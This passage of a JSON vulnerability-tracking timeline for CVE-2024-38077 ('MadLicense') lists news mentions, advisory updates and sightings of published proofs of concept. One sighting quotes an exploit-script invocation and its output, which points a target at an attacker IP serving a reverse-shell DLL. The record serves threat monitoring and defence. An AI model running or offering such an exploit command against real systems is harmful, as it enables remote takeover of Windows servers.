\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430.\n\n\u0410\u0442\u0430\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u041d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n6. \u041c\u0438\u043a\u043a\u043e \u041a\u0435\u043d\u0442\u0442\u044f\u043b\u044f \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u043e\u0442\u0447\u0435\u0442 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u0438\u0438 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f Zero Click \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0440\u0435\u0434\u044b \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044f macOS. \u0412\u0441\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 2022 \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2023 \u0433\u043e\u0434\u0430.\n\n7. \u0412 Positive Technologies \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e \u0441\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435:\n\n- RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows Remote Desktop Licensing Service, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 MadLicense (CVE-2024-38077);\n\n- \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 Mark of the Web \u0432 Windows, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 (CVE-2024-38213);\n\n- EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Windows (CVE-2024-38106), \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 Ancillary Function (CVE-2024-38193) \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Power Dependency Coordinator (CVE-2024-38107);\n\n- EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 LiteSpeed Cache \u0434\u043b\u044f WordPress CMS (CVE-2024-28000).", "url": "https://t.me/true_secator/6212"}, {"timestamp": "2024-09-20T15:17:51Z", "date_only": false, "value": "2024-09-20T15:17:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/13842", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "d09ffd2d-dce6-4023-8dbf-26c4f567a1ff", "content": "\u200aMicropatches for \"MadLicense\" Windows Remote Desktop Licensing Service Remote Code Execution (CVE-2024-38077)\n\nhttps://malware.news/t/micropatches-for-madlicense-windows-remote-desktop-licensing-service-remote-code-execution-cve-2024-38077/86570", "url": "https://t.me/HackingInsights/13842"}, {"timestamp": "2024-10-09T06:40:58Z", "date_only": false, "value": "2024-10-09T06:40:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8701", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "1573d6e9-45f6-4d96-89d9-3f563fb50310", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-38077: Remote Code Execution Vulnerability in Windows Remote Desktop Licensing Service\nURL\uff1ahttps://github.com/mrmtwoj/CVE-2024-38077\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8701"}, {"timestamp": "2024-10-16T13:57:05Z", "date_only": false, "value": "2024-10-16T13:57:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/h0jO4dX4dVPvI52neldcJV8pQ6DILU4S6YliudeH1KxdjWIi", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "4a879ec2-556a-4972-ac4a-0d3d8f505116"}, {"timestamp": "2024-10-16T17:29:15Z", "date_only": false, "value": "2024-10-16T17:29:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/g828ofeUXJ_EaqLqQDUKe1Hb7L8vrV2fOCsaxFJqpzs51c_L", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "f29f58c4-313f-41d6-a530-9e45387de528"}, {"timestamp": "2024-10-16T17:29:29Z", "date_only": false, "value": "2024-10-16T17:29:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/bjmbWXh1u4qHMUEiaUoV-7ptWYJhrnaxeG5dLtCzi7p327pJ", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "e5fd4f6f-1e70-4bc8-8bf5-cb8ca1670ddd"}, {"timestamp": "2024-10-16T21:02:17Z", "date_only": false, "value": "2024-10-16T21:02:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Nkhd8xUmeX8Xpibn46tHZgYGskngGgsl6QYAa9mE2ithCA", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "a9e731fd-e044-4a48-81f4-691473e55ad5"}, {"timestamp": "2024-10-16T22:54:54Z", "date_only": false, "value": "2024-10-16T22:54:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Of2Kb3BH1cSzagG5aitaTXMuol_FlzE3JJycXoOKuqkB4CrA", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "ddf0842b-ada3-454a-aaa5-07f877a19efc"}, {"timestamp": "2024-10-16T23:02:17Z", "date_only": false, "value": "2024-10-16T23:02:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZeroEthical_Course/1744", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "b068f266-6f62-46e1-b032-c35fab5667ce", "content": "all\n\npython3 CVE-2024-38077-EXP.py --evil_ip 103xxxx --evil_dll_path \\1\\reverse-shell.dll --target_ip 1xxx\n--------------------------------------------------------------------------------\nMadLicense: Windows Remote Desktop Licensing Service Preauth RCE\n        target_ip: 1xxx\n        evil_ip: 1xxxxx\n        evil_dll_path: \\\\10xxx1reverse-shell.dll\n        check_vuln_exist: False\n--------------------------------------------------------------------------------\n[*] Run exploit script for 1 / 3 times\n[+] Get Server version: 0x60000a04\n[-] Crashed, waiting for the service to restart, need 210 seconds...", "url": "https://t.me/ZeroEthical_Course/1744"}, {"timestamp": "2024-10-26T12:29:53Z", "date_only": false, "value": "2024-10-26T12:29:53.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/HwwzrUUGzdlvPYuHYDxaXh1_TORH4YATt2NSvni9YSbETns", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "8a0c2e70-c24a-4774-86a4-e964e3320cf9"}, {"timestamp": "2024-11-07T14:35:33Z", "date_only": false, "value": "2024-11-07T14:35:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8964", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "bd75c40b-0c9f-491c-84c4-7f5d887b4787", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-38077 private for 10 hands\nURL\uff1ahttps://github.com/amfg145/CVE-2024-38077\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8964"}, {"timestamp": "2025-01-23T22:00:06Z", "date_only": false, "value": "2025-01-23T22:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/z7ZFtrX9L4gZacQtKcu1e8RUJHU2uSZ9pGTTp-LiZPFhuW8", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "73481e71-3245-444c-a599-d36bb51a3dc9"}, {"timestamp": "2025-07-02T06:56:16Z", "date_only": false, "value": "2025-07-02T06:56:16.000491Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bilaltariq01.bsky.social/post/3lsxn2we7di2z", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "b6e5f0cb-10c2-436d-a2f2-f49723b1a196", "url": "https://bsky.app/profile/bilaltariq01.bsky.social/post/3lsxn2we7di2z"}, {"timestamp": "2025-07-08T20:20:55.629Z", "date_only": false, "value": "2025-07-08T20:20:55.629407Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lti4tavlns2q", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "35597011-057d-4717-adac-007fc820e3ce", "url": "https://bsky.app/profile/ytroncal.bsky.social/post/3lti4tavlns2q"}, {"timestamp": "2025-12-09T23:46:18.430Z", "date_only": false, "value": "2025-12-09T23:46:18.430Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2024-38077", "record": "MSRC_CVE-2024-38077", "field": "document.tracking.generator.date"}, {"timestamp": "2026-01-31T13:40:51Z", "date_only": false, "value": "2026-01-31T13:40:51.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/alon710/a720e446300a7511b879b23ad5c1cb4b", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "f51df64f-c9f9-4531-b47e-8ed272a5ee46", "url": "https://gist.github.com/alon710/a720e446300a7511b879b23ad5c1cb4b"}, {"timestamp": "2026-02-10T23:34:32.216Z", "date_only": false, "value": "2026-02-10T23:34:32.216Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-38077", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-02-10T23:34:32.216Z", "date_only": false, "value": "2026-02-10T23:34:32.216Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / microsoft", "record": "CVE-2024-38077", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-02-13T10:12:10Z", "date_only": false, "value": "2026-02-13T10:12:10.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/jonathan-gruber-1/05724c8f2229fceca85cb5694e67abbd", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "4fe3af39-4eb7-4978-a728-f866f872f31c", "url": "https://gist.github.com/jonathan-gruber-1/05724c8f2229fceca85cb5694e67abbd"}, {"timestamp": "2026-06-17T07:39:22.280Z", "date_only": false, "value": "2026-06-17T07:39:22.280", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-38077", "record": "FKIE_CVE-2024-38077", "field": "lastModified"}, {"timestamp": "2026-07-06T11:00:04.347Z", "date_only": false, "value": "2026-07-06T11:00:04.347112Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/330", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "3c8e6e45-9e1f-4f5d-be0b-0fd2ddae9b0d", "url": "https://t.me/ZerodayAlert/330"}, {"timestamp": "2026-07-07T00:00:06.582Z", "date_only": false, "value": "2026-07-07T00:00:06.582201Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/330", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "83f10b1b-4a6f-41dd-843f-f9f92fdacb2c", "url": "https://t.me/ZerodayAlert/330"}, {"timestamp": "2026-07-11T20:00:06.255Z", "date_only": false, "value": "2026-07-11T20:00:06.255000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/330", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "b5cb5d60-cd36-4838-b160-9e7cf7c058c8", "url": "https://t.me/ZerodayAlert/330"}, {"timestamp": "2026-07-12T00:00:39.687Z", "date_only": false, "value": "2026-07-12T00:00:39.687736Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/330", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "86968927-c19b-471a-b136-3904d69baaf1", "url": "https://t.me/ZerodayAlert/330"}, {"timestamp": "2026-07-12T22:00:10.582Z", "date_only": false, "value": "2026-07-12T22:00:10.582124Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/958", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "e5a8cb89-d711-46c6-9a80-f041d87b3aeb", "url": "https://t.me/securixy_kz/958"}, {"timestamp": "2026-07-13T00:00:34.919Z", "date_only": false, "value": "2026-07-13T00:00:34.919846Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/958", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "7f3b5de3-6fa5-4e6e-9dae-c2006ec85a84", "url": "https://t.me/securixy_kz/958"}, {"timestamp": "2026-07-26T02:00:19.616Z", "date_only": false, "value": "2026-07-26T02:00:19.616727Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/492", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "73fd2259-7169-4703-984c-42432ad88758", "url": "https://t.me/cyberwarehouse/492"}, {"timestamp": "2026-07-27T00:00:22.482Z", "date_only": false, "value": "2026-07-27T00:00:22.482492Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/492", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "962dd365-3bb2-4200-b7f2-79f58589ba14", "url": "https://t.me/cyberwarehouse/492"}, {"timestamp": "2026-09-04T05:00:04.659Z", "date_only": false, "value": "2026-09-04T05:00:04.659082Z", "kind": "sighting", "label": "Seen", "source": "Telegram/wsozqluPl_W06A_oXbzfIKTVzNLR6fGSgCNc8JJ1fbOlU5U", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "bf55350c-0f29-4ced-910e-db5ab5a7f31e"}, {"timestamp": "2026-09-05T01:00:38.610Z", "date_only": false, "value": "2026-09-05T01:00:38.610207Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/wsozqluPl_W06A_oXbzfIKTVzNLR6fGSgCNc8JJ1fbOlU5U", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "d9c28744-6ee3-4661-8d81-527b4b502943"}]}